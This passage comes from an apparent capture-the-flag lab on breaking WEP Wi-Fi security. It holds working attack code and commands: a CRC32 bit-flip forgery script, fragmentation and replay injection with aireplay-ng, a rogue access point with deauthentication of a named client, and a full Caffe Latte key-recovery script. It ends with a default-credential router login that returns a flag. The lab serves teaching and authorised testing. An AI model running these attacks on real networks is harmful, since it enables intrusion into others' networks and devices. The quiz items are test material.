print("  captured ciphertext body, bytes 40-47 : %s" % ct_body[40:48].hex())
print("  captured encrypted ICV                : %s" % ct_icv.hex())

delta = bytearray(len(ct_body))
delta[40:48] = b"\x00\x00\x00\x00\x00\x00\x00\xff"   # flip 8 bits deep inside the payload
delta = bytes(delta)

forged_body = bytes(a ^ b for a, b in zip(ct_body, delta))
forged_icv = bytes(a ^ b for a, b in zip(ct_icv, struct.pack("<I", crc_delta(delta))))

print("  chosen bit-flip mask at those bytes   : %s" % delta[40:48].hex())
print("  CRC32 correction derived from the mask: %08x" % crc_delta(delta))
print("  forged ciphertext body, bytes 40-47   : %s" % forged_body[40:48].hex())
print("  forged encrypted ICV                  : %s" % forged_icv.hex())
print("-" * 68)
print("Now play the receiver, who does hold the key, and see what it makes of each.")
print()

for label, body, icvc in (("original frame", ct_body, ct_icv),
                          ("forged frame  ", forged_body, forged_icv)):
    plain = rc4(iv + key, body + icvc)
    payload, icv = plain[:-4], plain[-4:]
    calc = zlib.crc32(payload) & 0xFFFFFFFF
    got = struct.unpack("<I", icv)[0]
    print("  %s  plaintext[40:48]=%s  ICV 0x%08x  CRC32 0x%08x  %s"
          % (label, payload[40:48].hex(), got, calc, "ACCEPTED" if calc == got else "REJECTED"))

Then, we can run the script against the same capture, with the recovered key in place of <key>. It does our half of the attack using only the captured bytes. After that, it plays the receiver, who does hold the key, so that we can see whether each frame is accepted.

Terminal
user@debian-thm:~$ python3 /tmp/wepint/wep-bitflip.py wep-01.cap <key>
Everything below this line is done WITHOUT the key.
--------------------------------------------------------------------
  captured ciphertext body, bytes 40-47 : cd9e33ff1299c95f
  captured encrypted ICV                : 4db0e903
  chosen bit-flip mask at those bytes   : 00000000000000ff
  CRC32 correction derived from the mask: 781fb104
  forged ciphertext body, bytes 40-47   : cd9e33ff1299c9a0
  forged encrypted ICV                  : 4901f67b
--------------------------------------------------------------------
Now play the receiver, who does hold the key, and see what it makes of each.

  original frame  plaintext[40:48]=00000000c9980900  ICV 0x405cc02b  CRC32 0x405cc02b  ACCEPTED
  forged frame    plaintext[40:48]=00000000c99809ff  ICV 0x3843712f  CRC32 0x3843712f  ACCEPTED

The first half of the above output is our side of the attack, and it uses nothing but the bytes captured from the air and a mask that we chose. The mask flips eight bits deep inside the payload, and the matching correction to the ICV is derived from the mask alone. In the second half, the receiver decrypts both frames with the key and checks each of them. It accepts the original frame, as it should, and it accepts the forged frame as well. In the forged frame, bytes 40 to 47 of the decrypted plaintext end 09ff, where the same bytes of the frame that was actually sent end 0900, so the receiver has accepted a frame that we changed and reported it as intact.

Unlike the attack that we will look at in the Forging Traffic Without the Key task, this forgery did not need a longer stretch of keystream, and the key only came into it when the script played the receiver. Our half of the attack did not decrypt anything, so it flipped byte 47 without reading what the byte held. The new plaintext value of ff that the receiver found there was not chosen to mean anything.

If we know the layout of the payload, we can flip the bits of other fields in the same way, such as the destination address, the port numbers or the protocol fields. Giving one of those fields a value of our own choosing also needs its current value, whether we know it or guess it, because the mask has to be the old value combined with the new one by XOR. In many cases the current value is easy to work out, as with 192.168.1.1, which the first run printed as the destination address of this frame.

The ICV still catches frames that were damaged by accident on the way, as it was designed to. A checksum takes no secret, though, so anybody who changes a frame can recompute it, and the receiver has no way to tell that the change was made on purpose. Any protocol whose integrity check is only a checksum would be open to this attack, even one whose encryption is sound. WPA addressed this by adding a keyed MIC, a value that cannot be recomputed by anybody who does not hold the key.

Answer the questions below

  1. Decrypt your capture with the recovered WEP key. Which IPv4 address does the client on Home-Legacy use?

Task 6: Forging Traffic Without the Key

So far, our attack has depended on the network being busy. Home-Legacy has a client, and the traffic from this client supplies initialisation vectors faster than the attack needs them. When that client goes quiet, we can take one of its ARP requests and send it back with the replay attack from the Capturing Initialisation Vectors task. Both routes still need the network to have produced some traffic of its own that we can reuse.

As we saw in that task, many of the WEP networks we come across on a real assessment are printers or controllers that send very few frames. These devices will never send the tens of thousands of frames that the statistical attack wants. The same is true of an access point with no associated client at all. On networks like these, there is also no captured ARP request to replay, because no station has sent one. In this task, we will break this kind of network by supplying the traffic ourselves.

Keystream Without the Key

As described in the Inside a WEP Frame task, we can recover six bytes of keystream without the key by combining the LLC/SNAP header with the ciphertext. The fragmentation attack can be used to turn these six bytes into a much longer keystream, as long as the access point reassembles fragmented frames. We split a frame into fragments that are each short enough to encrypt with the keystream we already know, and send them to the access point. The access point puts the fragments back together and rebroadcasts the result as one longer encrypted frame. Since we chose the plaintext of that frame ourselves, we can combine the plaintext with the rebroadcast to recover a longer keystream. We can then repeat the exchange with the longer keystream, and each round grows the keystream again until it reaches the full frame length.

The attack needs the access point to accept frames from our radio, and the fake authentication from the Capturing Initialisation Vectors task gives us this. With that association in place, we can run the exchange with aireplay-ng in attack mode -5:

Terminal
user@debian-thm:~$ sudo aireplay-ng -5 -b F0:9F:C2:71:22:11 -h 02:00:00:00:00:00 wlan0mon
Use this packet ? y
Saving chosen packet in replay_src-1019-100126.cap
10:01:26  Data packet found!
10:01:26  Sending fragmented packet
10:01:26  Got RELAYED packet!!
10:01:26  Trying to get 384 bytes of a keystream
10:01:26  Got RELAYED packet!!
10:01:26  Trying to get 1500 bytes of a keystream
10:01:26  Got RELAYED packet!!
Saving keystream in fragment-1019-100126.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

The -5 option selects the fragmentation attack, -b sets the address of the access point and -h sets the address that the fake authentication registered. When the tool offers us a captured frame, we can accept it with y.

Each Got RELAYED packet!! line is the access point reassembling the fragments it was sent and rebroadcasting them. From the above output, we can see that three of these relays bring the recovered keystream up to 1500 bytes. aireplay-ng saves the keystream to a file whose name is built from the time the attack ran, so the fragment-1019-100126.xor name above only belongs to this particular run. In the next command, we should use whichever name aireplay-ng reported on our own run.

Forging a Frame

A keystream of this length is enough for us to encrypt an entire frame of our own choosing. As with the replay attack from the Capturing Initialisation Vectors task, an ARP request is the natural choice, since it reliably provokes an answer. We can build this frame with packetforge-ng:

Terminal
user@debian-thm:~$ sudo packetforge-ng -0 -a F0:9F:C2:71:22:11 -h 02:00:00:00:00:00 -k 255.255.255.255 -l 192.168.1.100 -y fragment-1019-100126.xor -w forge-arp.cap
Wrote packet to: forge-arp.cap

The -0 option builds an ARP request, and the -k and -l options set the destination and source IP addresses that the request asks about. With -y, we set the keystream that encrypts the request, so we did not need the key to build this frame at all. What packetforge-ng writes to forge-arp.cap is still a valid WEP frame, and the access point will accept it and act on it.

Injecting What Was Forged

First, we should leave a capture running against the same BSSID in another terminal, just as we did in the Capturing Initialisation Vectors task:

Terminal
user@debian-thm:~$ sudo airodump-ng -c 3 --bssid F0:9F:C2:71:22:11 -w frag2 wlan0mon

Then, with that capture still running in its own terminal, we can replay our forged frame:

Terminal
user@debian-thm:~$ sudo aireplay-ng -2 -F -r forge-arp.cap -x 800 wlan0mon
Sent 70438 packets...(799 pps)

In the above command, -2 selects the interactive replay attack. The -r forge-arp.cap option makes it read the frame from our forged file instead of picking one off the air. With -F, it accepts the first matching frame without prompting us, and -x 800 caps the rate at 800 frames a second. From the above output, we can see that aireplay-ng sent 70438 packets at 799 a second, which is just under that cap.

The access point keeps up with this rate and answers every forged request. Each reply is a new frame with a new initialisation vector, so the counter in our capture climbs as though the network were busy.

The initialisation vectors in our capture are ordinary ones, and aircrack-ng has no way to tell that the traffic behind them was generated by us. Next, we can recover the key in the same way as we did in the Recovering the WEP Key task:

Terminal
user@debian-thm:~$ sudo aircrack-ng -b F0:9F:C2:71:22:11 frag2-01.cap
                          KEY FOUND! [ <key> ]
	Decrypted correctly: 100%

From the above output, we can see that aircrack-ng found the key. The Decrypted correctly: 100% line shows that this key decrypts the frames in our capture.

The Slower Relative

The KoreK chopchop attack can also be used to get to the same result. It recovers the plaintext of a frame one byte at a time. For each byte, it truncates a captured frame and tries a series of guesses, watching which one the access point accepts. We can run it with aireplay-ng -4, and it does work against this network, but it has to send a burst of frames for every byte it recovers.

In one minute, chopchop gets through only the first few percent of a single frame, while the fragmentation attack recovers 1500 bytes of keystream in seconds. We should try the fragmentation attack first, and we can keep chopchop for access points that do not reassemble fragments.

Answer the questions below

  1. Which aireplay-ng attack mode runs the fragmentation attack?
  2. How many bytes of keystream does the fragmentation attack recover here?

Task 7: Taking the Key From the Client

A station that has joined a WEP network keeps a profile for it. This profile holds the network name and the static key together. The station treats anything advertising that name as the network it already knows, since WEP has no server-side component to check an access point against. It joins such an access point with open system authentication and starts encrypting with the key it remembers. The same exchange let our fake authentication succeed in the Capturing Initialisation Vectors task, where the access point accepted us without asking for the key. It works the same way in the other direction, so the station never asks the access point to prove that it holds the key either.

We can use this to take the key from a client that has used the network, without needing the network itself. If all we know is the name of a WEP network, we can stand up our own access point carrying that name. We then wait for a station to arrive, which we could do a long way from the real access point.

When the station joins the rogue access point, it still has the key stored in its profile. It never transmits the key, but every frame it sends is encrypted under that key and carries an initialisation vector. Those vectors are exactly what the statistical attack consumes. Taking the key from a client in this way is known as the Caffe Latte attack. The name comes from the observation that a laptop opened in a coffee shop is still carrying the keys of every network it has ever used.

The attack recovers the key itself, the same value that the real access point holds, so the key we end up with will decrypt the network's traffic and be accepted by the network. We never contact or associate with the real network, and it contributes no frames to the capture. At the end of this task, we will recover the key from a capture file that holds traffic from only one station and one rogue access point.

Standing Up the Rogue Access Point

The attack needs one radio in access point mode and a second radio to deauthenticate, inject and capture. We will use wlan4 and wlan5 for this task, and leave wlan0mon and wlan1 untouched. First, we can put wlan5 into monitor mode on channel 3, which is the channel the real Home-Legacy access point uses. We can also make a directory for the files that the attack produces.

Terminal
user@debian-thm:~$ sudo ip link set wlan5 down && sudo iw dev wlan5 set type monitor && sudo ip link set wlan5 up
user@debian-thm:~$ sudo iw dev wlan5 set channel 3
user@debian-thm:~$ mkdir -p /tmp/cafelatte

We will run the rogue on channel 11, deliberately far from the real network. The capture that we take at the end of the task is also on channel 11, so it cannot hold a frame transmitted by an access point on channel 3. We can write the following configuration to /tmp/cafelatte/rogue.conf.

interface=wlan4
driver=nl80211
ssid=Home-Legacy
hw_mode=g
channel=11
auth_algs=1
wep_default_key=0
wep_key0=0123456789
ap_max_inactivity=600

The value on the wep_key0 line is a placeholder, since the attack assumes we know nothing but the network name. This placeholder will not match the key in the station's profile. The station still associates with the rogue, because auth_algs=1 selects open system authentication. Once it has joined, the two sides are encrypting under different keys and the rogue cannot read anything the station sends. This does not get in the way of the attack, because all we are collecting are the frames and the initialisation vectors they carry.

The last line, ap_max_inactivity=600, stops the access point from dropping a station that spends several minutes doing nothing but answer ARP.

Start the access point in its own terminal.

Terminal
user@debian-thm:~$ sudo ip link set wlan4 down && sudo iw dev wlan4 set type managed && sudo ip link set wlan4 up
user@debian-thm:~$ sudo hostapd-mana /tmp/cafelatte/rogue.conf
Using interface wlan4 with hwaddr 02:00:00:00:04:00 and ssid "Home-Legacy"
wlan4: AP-ENABLED

From the first line of the above output, we can see that the rogue's own BSSID is 02:00:00:00:04:00. This is the hardware address of the radio itself, and we will filter on it in several of the commands that follow.

Lab note: Leave hostapd-mana running in this terminal for the rest of the task and work from a second one, with a third for the capture that starts shortly. NetworkManager will reclaim an idle radio from underneath the attack, so the airmon-ng check kill from the opening task has to still be in effect before any of this runs.

Moving the Client Across

A station that is associated and working normally has no reason to go looking for another access point, so we have to push it. The station we want is 64:32:A8:56:32:56, the same one whose traffic gave us the initialisation vectors in the Capturing Initialisation Vectors task. When it scans again, it will find two access points called Home-Legacy, and there is nothing in either beacon that would let it tell them apart.

First, we can send a burst of deauthentication frames spoofed from the real access point's address, which tears down the station's association and sends it back to scanning.

Terminal
user@debian-thm:~$ sudo aireplay-ng -0 10 -a F0:9F:C2:71:22:11 -c 64:32:A8:56:32:56 wlan5

One burst is usually not enough. A station knocked off a network frequently returns to the access point it was just using, so repeat the command until the terminal running hostapd-mana reports the station arriving.

Terminal
wlan4: STA 64:32:a8:56:32:56 IEEE 802.11: authenticated
wlan4: STA 64:32:a8:56:32:56 IEEE 802.11: associated (aid 1)
wlan4: AP-STA-CONNECTED 64:32:a8:56:32:56

AP-STA-CONNECTED is the line we are waiting for. Above it, the authenticated and associated lines show the open system exchange completing. The station is now associated with our access point and treats it as the network it was using before. Our access point does not hold the station's key and has no connection to the real network. Even so, the station carries on encrypting every frame it sends under the key it already had.

Why the Built-In Replay Produces Nothing

Our capture has to follow the station to channel 11. We can move the monitor interface there and start a capture that is filtered to the rogue's BSSID.

Terminal
user@debian-thm:~$ sudo iw dev wlan5 set channel 11
user@debian-thm:~$ sudo airodump-ng -c 11 --bssid 02:00:00:00:04:00 -w /tmp/cafelatte/cl wlan5

aireplay-ng has a dedicated mode for this attack, -6, so it is the obvious thing to reach for first. We can run it from the second terminal, giving it the rogue's BSSID and the station's address.

Terminal
user@debian-thm:~$ sudo aireplay-ng -6 -b 02:00:00:00:04:00 -h 64:32:A8:56:32:56 wlan5
The interface MAC (02:00:00:00:05:00) doesn't match the specified MAC (-h).
	ifconfig wlan5 hw ether 64:32:A8:56:32:56
05:41:42  Waiting for beacon frame (BSSID: 02:00:00:00:04:00) on channel 11
Saving ARP requests in replay_arp-0920-054142.cap
You should also start airodump-ng to capture replies.
Read 18136 packets (3 ARPs, 0 ACKs), sent 14615 packets...(500 pps)

The warning about the interface MAC is expected, and the ifconfig command it suggests must not be run. We set -h to the victim's address on purpose, since we want the frames we send to appear to come from the victim. All aireplay-ng can see is that this address does not match the address of our radio. Running the suggested command would put the victim's address on the monitor radio. The Caffe Latte script that we use later in this task would then stop recognising the victim's own replies and produce nothing at all.

Apart from that warning, nothing in the output points to a failure. The tool found ARP requests to work from, it is sending at five hundred frames a second, and it looks much as the ARP request replay looked in the Capturing Initialisation Vectors task. We can check whether the replay is working by running aircrack-ng over the capture without naming a target, since it then lists the networks it found with a count beside each one.

Terminal
user@debian-thm:~$ sudo aircrack-ng /tmp/cafelatte/cl-01.cap
   1  02:00:00:00:04:00  Home-Legacy               WEP (4 IVs)
Choosing first network as target.

With only one network in the file, there is nothing to choose between, so aircrack-ng selects it and starts attacking straight away. The count beside the network, WEP (4 IVs), scrolls off the screen once the attack display takes over, but it shows that a capture holding tens of thousands of frames has produced only a handful of initialisation vectors. Waiting will not make it climb, because the station is not replying at all, so we can stop the attack with Ctrl+C.

Since we already have the key from the Recovering the WEP Key task, we can decrypt this capture and read the station's ARP request alongside the copies that aireplay-ng has been replaying.

    1   0.000000 IntelCor_56:32:56 -> Broadcast  ARP 42 Who has 192.168.1.1? Tell 192.168.1.54
    3  10.946221 02:00:00:00:04:00 -> Broadcast  ARP 42 Who has 192.168.1.1? Tell 192.168.1.54
    5  11.940370 02:00:00:00:04:00 -> Broadcast  ARP 42 Who has 192.168.1.1? Tell 192.168.1.54

The first frame is the station's own request. Below it are two copies that aireplay-ng replayed byte for byte, so all three ask who has 192.168.1.1. For the -6 replay to work, the station must at some point have announced its own address in a gratuitous ARP. A copy of that frame would be a question the station has to answer. This station holds a long-lived lease and only ever asks after its gateway, so there is no such frame for the tool to copy. Every frame aireplay-ng reported as sent really was sent, but each one asked about 192.168.1.1. The station does not answer for that address, so it correctly said nothing.

With any injection tool, we should judge a run by how the target responds. A send rate in the hundreds with a flat initialisation vector count means nothing is coming back. We can stop this capture now, since the Caffe Latte attack will use a new, clean capture.

Flipping the Request

For the station to answer, we need the same request to ask about the station's own address. The attack has to work without the key, so the change must be made while the frame is still encrypted. WEP allows this because of the way it checks the integrity of each frame. Since the weakness is in that check, the strength of the cipher makes no difference to this attack.

We can make the change with the bit-flipping attack described in the Inside a WEP Frame task. It flips the bits that we choose in the ciphertext, then corrects the encrypted ICV to match them, and it does not need the key for either step.

An ARP request carries its sender and target addresses at fixed offsets, so we already know which bytes have to change. The only real unknown is the value to write into the last byte of the target address. Of the 256 possible values, just one makes the request ask about the station's own address. The cheapest way to find it is to try all 256 and watch which one draws a reply from the station. We can write the following script to /tmp/cafelatte/latte.py.

#!/usr/bin/env python3
"""
Caffe Latte: recover a WEP key from a CLIENT.

We never learn the key. We take one encrypted ARP request the victim emitted,
bit-flip the ciphertext so the request now asks for the victim's OWN address,
repair the encrypted CRC (CRC32 is linear, so a known plaintext delta maps to a
known ICV delta), and send it back. The victim answers every copy with a fresh
IV. Harvest enough IVs and PTW recovers the key.

Unknown plaintext: the two IP addresses. We brute the last byte of the target
IP over all 256 values - one of them is the victim's own address.
Known plaintext: LLC/SNAP, the ARP fixed fields, the all-zero target MAC, and
the ARP sender MAC (it must equal the 802.11 source address, which is in clear).
"""
import socket, struct, sys, time, zlib, threading

IFACE  = "wlan5"
BSSID  = bytes.fromhex("020000000400")   # our rogue AP
CLIENT = bytes.fromhex("6432a8563256")   # the victim
FAKESA = bytes.fromhex("001122334455")   # the host we pretend is asking
RTAP   = b"\x00\x00\x08\x00\x00\x00\x00\x00"   # minimal radiotap

PLEN   = 36          # LLC/SNAP(8) + ARP(28)
ZERO   = zlib.crc32(b"\x00" * PLEN) & 0xffffffff


def crc_delta(mask: bytes) -> int:
    """CRC32 is affine, so crc(P^M) ^ crc(P) = crc(M) ^ crc(0) for fixed len."""
    return (zlib.crc32(mask) ^ ZERO) & 0xffffffff


def is_victim_arp(b: bytes) -> bool:
    return (len(b) == 68                      # 24 hdr + 4 iv + 36 body + 4 icv
            and (b[0] & 0x0c) == 0x08         # type data
            and (b[1] & 0x03) == 0x01         # ToDS only
            and (b[1] & 0x40)                 # protected
            and b[4:10] == BSSID              # addr1 = bssid
            and b[10:16] == CLIENT            # addr2 = victim
            and b[16:22] == b"\xff" * 6)      # addr3 = broadcast


def grab_seed(sock, deadline):
    """Wait for one encrypted ARP request from the victim."""
    while time.time() < deadline:
        raw = sock.recv(4096)
        if len(raw) < 8:
            continue
        rtlen = struct.unpack_from("<H", raw, 2)[0]
        f = raw[rtlen:]
        if is_victim_arp(f):
            return f
    return None


def build(seed, d, seq):
    """One flipped copy: target-IP last byte XOR d, sender rewritten to FAKESA."""
    iv, ct, icv = seed[24:28], seed[28:64], seed[64:68]

    mask = bytearray(PLEN)
    for i in range(6):                     # ARP sender MAC -> FAKESA
        mask[16 + i] = CLIENT[i] ^ FAKESA[i]
    mask[25] = 0x80                        # sender IP: just make it != victim's
    mask[35] = d                           # target IP: the byte we are guessing

    body = bytes(a ^ b for a, b in zip(ct, mask))
    dl = crc_delta(bytes(mask))
    newicv = bytes(a ^ b for a, b in zip(icv, struct.pack("<I", dl)))

    hdr = bytearray(24)
    hdr[0] = 0x08                          # data
    hdr[1] = 0x42                          # FromDS + Protected
    hdr[4:10] = CLIENT                     # addr1 = DA  = victim
    hdr[10:16] = BSSID                     # addr2 = BSSID
    hdr[16:22] = FAKESA                    # addr3 = SA
    struct.pack_into("<H", hdr, 22, (seq & 0xfff) << 4)
    return RTAP + bytes(hdr) + iv + body + newicv


def main():
    mode = sys.argv[1] if len(sys.argv) > 1 else "hunt"
    secs = int(sys.argv[2]) if len(sys.argv) > 2 else 60

    rx = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
    rx.bind((IFACE, 0))
    rx.settimeout(5)
    tx = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    tx.bind((IFACE, 0))

    print("[*] waiting for an encrypted ARP request from the victim ...")
    seed = grab_seed(rx, time.time() + 180)
    if not seed:
        print("[!] no seed packet captured"); return 1
    print("[+] seed captured, IV %s" % seed[24:27].hex())

    if mode == "hunt":
        # Which last byte makes the victim answer? Send each guess in a burst
        # and count victim transmissions while it is in flight.
        counts = {}
        for d in range(256):
            rx.settimeout(0.001)
            while True:                                  # drain
                try: rx.recv(4096)
                except Exception: break
            for n in range(12):
                tx.send(build(seed, d, n))
            got = 0
            rx.settimeout(0.25)
            t_end = time.time() + 0.25
            while time.time() < t_end:
                try: raw = rx.recv(4096)
                except Exception: break
                rtlen = struct.unpack_from("<H", raw, 2)[0]
                f = raw[rtlen:]
                if len(f) > 24 and f[10:16] == CLIENT and (f[0] & 0x0c) == 0x08:
                    got += 1
            if got:
                counts[d] = got
                print("[+] delta 0x%02x -> %d victim frames" % (d, got))
        if not counts:
            print("[!] no delta produced a reply"); return 1
        best = max(counts, key=counts.get)
        print("[*] best delta = 0x%02x" % best)
        open("/tmp/cafelatte/delta", "w").write(str(best))
        return 0

    # harvest
    best = int(open("/tmp/cafelatte/delta").read().strip())
    print("[*] harvesting with delta 0x%02x for %ds" % (best, secs))
    pre = [build(seed, best, n) for n in range(4096)]
    end, sent, i = time.time() + secs, 0, 0
    while time.time() < end:
        tx.send(pre[i & 0xfff]); i += 1; sent += 1
        if sent % 2000 == 0:
            time.sleep(0.001)
    print("[+] sent %d flipped frames" % sent)
    return 0


sys.exit(main())

The script runs in two modes. hunt captures one encrypted ARP request from the station, sends twelve copies of it at each of the 256 candidate values in turn, and counts how many frames the station transmits while each burst is in flight. harvest takes the winning value and sends that one flipped frame as fast as the radio allows for a given number of seconds. Both rewrite the sender address in the request to 00:11:22:33:44:55 as well, so the station believes some other host is asking and replies to that host rather than to itself.

First, we can start a clean capture in the third terminal.

Terminal
user@debian-thm:~$ sudo airodump-ng -c 11 --bssid 02:00:00:00:04:00 -w /tmp/cafelatte/latte wlan5

Then, we can run the script in hunt mode.

Terminal
user@debian-thm:~$ sudo python3 -I /tmp/cafelatte/latte.py hunt
[*] waiting for an encrypted ARP request from the victim ...
[+] seed captured, IV 6d8601
[+] delta 0x03 -> 1 victim frames
[+] delta 0x33 -> 1 victim frames
[+] delta 0x37 -> 12 victim frames
[+] delta 0x8d -> 1 victim frames
[*] best delta = 0x37

From the above output, we can see that one value, 0x37, drew far more victim frames than any of the others. The original request asks after the gateway, whose last byte is 0x01, and a delta of 0x37 turns that byte into 0x36, which is 54 in decimal. The flipped request therefore asks about 192.168.1.54, the address that the station answers for.

The values that scored only a frame or two picked up the station's own background traffic, which happened to arrive while their burst was in flight. Since frames like these can turn up during any burst, the script goes by the count and picks the value with the most victim frames. Our own list will not match the one above, because the station's background frames land in different quarter-second windows on each run. One delta should still stand out with a count in double figures.

Recovering the Key From the Client

Now that we have a value that provokes an answer, we only need to keep sending it for long enough. Then, we can run the script in harvest mode for three hundred seconds, which is enough to put around a quarter of a million initialisation vectors into the capture.

Terminal
user@debian-thm:~$ sudo python3 -I /tmp/cafelatte/latte.py harvest 300
[*] waiting for an encrypted ARP request from the victim ...
[+] seed captured, IV 6d863a
[*] harvesting with delta 0x37 for 300s
[+] sent 1239285 flipped frames

The script sent over a million copies of the same forged ARP request in those three hundred seconds. Each copy appears to come from another host asking for the station's address, so the station has no way of telling them apart from the requests on an ordinary busy network. A fraction of them drew an answer, and each answer was a new frame encrypted under the key the station remembers, with a fresh initialisation vector that went into the capture.

Next, we can point aircrack-ng at the file and restrict it to the rogue's BSSID.

Terminal
user@debian-thm:~$ sudo aircrack-ng -b 02:00:00:00:04:00 /tmp/cafelatte/latte-01.cap
Reading packets, please wait...
Opening /tmp/cafelatte/latte-01.cap
Read 706898 packets.
1 potential targets
Attack will be restarted every 5000 captured ivs.
Got 284989 out of 280000 IVs   Starting PTW attack with 284989 ivs.
                         KEY FOUND! [ <key> ]
	Decrypted correctly: 100%

The key that aircrack-ng prints is the same one that the capture in the Recovering the WEP Key task produced. The same statistical attack recovered it in both cases. We could test to see if the real access point contributed any frames to this capture by reading it with tshark.

Terminal
user@debian-thm:~$ tshark -r /tmp/cafelatte/latte-01.cap -T fields -e wlan.bssid | sort | uniq -c
 706898 02:00:00:00:04:00
user@debian-thm:~$ tshark -r /tmp/cafelatte/latte-01.cap -Y "wlan.addr==f0:9f:c2:71:22:11" | wc -l
0

The first command shows that all 706,898 frames in the file carry the rogue's BSSID, and the second finds no frame to or from the real access point's address. The real access point stayed on channel 3 throughout, and our monitor interface did not leave channel 11 once the station had moved across. Our rogue ran with wep_key0=0123456789 the whole time, so neither the rogue nor the script held the real key at any point before aircrack-ng printed it.

Finally, we can stop hostapd-mana and the capture, and return both radios to managed mode.

Terminal
user@debian-thm:~$ for i in wlan4 wlan5; do sudo ip link set $i down; sudo iw dev $i set type managed; sudo ip link set $i up; done

A WEP network is compromised as soon as one station that has joined it leaves the building. Every laptop, handset and scanner that has used the network keeps the key in its profile, and turning the access point off does not take the key back from any of them. Each of these devices will use the key with any access point that advertises the network's name.

In the earlier tasks, we looked at what the network itself will allow, and in this task, we looked at what a station that has used the network will accept from an access point. The Attacking Wi-Fi Clients room builds on this.

Answer the questions below

  1. Which line does hostapd-mana log when the victim station associates with the rogue access point?

Task 8: Connecting to the WEP Network

Now that we hold the key, we can join the network ourselves. We can follow the same procedure that we used to connect to Home-2G in the Attacking Open and WPA2-PSK Networks room. The only part of it that changes this time is the configuration file.

The wpa_passphrase helper that we used there is no help to us here. It exists to run the PBKDF2 derivation, which turns a WPA2 passphrase and the SSID into a pre-shared key. WEP does not derive anything and uses its key exactly as it is configured, so we have to write the file by hand. We can write the following to homelegacy.conf, substituting the ten hexadecimal characters recovered in the previous task, without the colons that aircrack-ng printed:

network={
    ssid="Home-Legacy"
    key_mgmt=NONE
    wep_key0=<key>
    wep_tx_keyidx=0
}

The key_mgmt=NONE line tells the supplicant that there is no key management to do. In the WPA2 profile that we wrote in the Attacking Open and WPA2-PSK Networks room, key management was the job of the four-way handshake. Before any data could flow, that handshake authenticated both parties and derived fresh per-session keys. On a WEP network, the supplicant has nothing to negotiate or manage, so it installs the static key into the radio and starts using the key straight away.

We can check the wep_key0 line once the key is pasted in. It should hold exactly ten hexadecimal characters, with none of the colons that aircrack-ng printed and no other separators. The last line, wep_tx_keyidx=0, selects key 0 as the one to encrypt with, and this is the same key index that we read out of the capture in the Inside a WEP Frame task. The standard allows up to four keys so that they can be rotated, but in practice the extra keys are almost never used.

Bring up the connection on the managed radio and confirm the association.

Terminal
user@debian-thm:~$ sudo wpa_supplicant -B -i wlan1 -c homelegacy.conf
Successfully initialized wpa_supplicant
user@debian-thm:~$ sudo iw dev wlan1 link
Connected to f0:9f:c2:71:22:11 (on wlan1)
	SSID: Home-Legacy
	freq: 2422
	RX: 1301 bytes (26 packets)
	TX: 340 bytes (4 packets)
	signal: -30 dBm
	tx bitrate: 1.0 MBit/s

	bss flags:	short-slot-time
	dtim period:	2
	beacon int:	100

This confirmation tells us less than the same output would on a WPA2 network. Open system authentication does not verify anything, and no handshake follows it to catch a mistake, so on a WEP network the association succeeds whether or not our key is correct. With a wrong key, the link would silently fail to move any data. We will only find out whether the key is right when we request an address over DHCP in the next step, and if that request never gets an answer, the key in homelegacy.conf is the first thing we should check.

Next, we can request an address on wlan1 with dhclient.

Terminal
user@debian-thm:~$ sudo dhclient -v wlan1
...
DHCPDISCOVER on wlan1 to 255.255.255.255 port 67 interval 5
DHCPOFFER of 192.168.1.23 from 192.168.1.1
DHCPREQUEST for 192.168.1.23 on wlan1 to 255.255.255.255 port 67
DHCPACK of 192.168.1.23 from 192.168.1.1
bound to 192.168.1.23 -- renewal in 37778 seconds.

From the above output, we can see that the DHCP server at 192.168.1.1 gave us a lease, and that proves our key is correct. The request and the response both had to be encrypted and decrypted correctly for the exchange to complete at all. Our address may differ from the one in the example, since the host part is drawn from a pool. However, it will always be on 192.168.1.0/24, and the gateway and DHCP server will always be at 192.168.1.1.

Looking Around

Now that we have a routable address, we can check which other hosts are on the network with a ping scan from nmap.

Terminal
user@debian-thm:~$ sudo nmap -sn 192.168.1.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2026-08-26 09:41 CEST
Nmap scan report for 192.168.1.1
Host is up (0.00018s latency).
MAC Address: F0:9F:C2:71:22:11 (Ubiquiti Networks)
Nmap scan report for 192.168.1.54
Host is up (0.00016s latency).
MAC Address: 64:32:A8:56:32:56 (Intel Corporate)
Nmap scan report for 192.168.1.23
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 1.95 seconds

From the above output, we can see that three hosts are up. Besides the gateway and our own newly leased address, there is one other client at 192.168.1.54. This is the chatty station whose traffic supplied most of the initialisation vectors that we collected earlier. The MAC Address lines tie these hosts back to the scan from the Wi-Fi Fundamentals and Reconnaissance room. In that scan, F0:9F:C2:71:22:11 was the access point and 64:32:A8:56:32:56 was the station associated with it. Our own host is the only one that does not report a MAC address, so its row is easy to tell apart from the rest.

The gateway runs the same router configuration panel that we met in the Wi-Fi Fundamentals and Reconnaissance room and the Attacking Open and WPA2-PSK Networks room. As on those networks, the credentials that the vendor ships with the router are the first thing we should try, since they are very often still in place.

Next, we can log in to the panel with the vendor's default credentials using curl, and then request index.php with the cookie that the login saved to cookies.txt.

Terminal
user@debian-thm:~$ curl -s -c cookies.txt -d "Username=admin&Password=admin&Submit=Submit" http://192.168.1.1/login.php -o /dev/null
user@debian-thm:~$ curl -s -b cookies.txt http://192.168.1.1/index.php
<!DOCTYPE html>
<html>
<head>
    <title>WiFi Router Configuration</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
...
Welcome admin<br><br>Flag: <button onclick="copyFlagToClipboard('THM{REDACTED}')">THM{REDACTED}</button>

From the above output, we can see that the panel hands the flag straight to the admin account, with no further work needed. The same default credentials also logged us in on Home-2G, the WPA2 network in the Attacking Open and WPA2-PSK Networks room. There, however, the panel told us to try logging in with another user. We had to steal someone else's session to get the flag, and that detour took up the rest of that room. In many cases, a network that still runs WEP has not been reconfigured since it was set up, so its administrative password is likely still the vendor's default.

This network also has a service account. Its name is taken from the encryption scheme instead of the SSID, and its password is the WEP key that we just recovered. Reusing the network key as a service password is a common habit on small installations, since the same person very often chose both. As such, we should try a recovered wireless key against every login that we come across from this point on.

Answer the questions below

  1. Which key_mgmt value does a WEP profile use in wpa_supplicant?
  2. What is the flag from the WEP network?

Task 9: Brute Forcing a Narrowed Keyspace

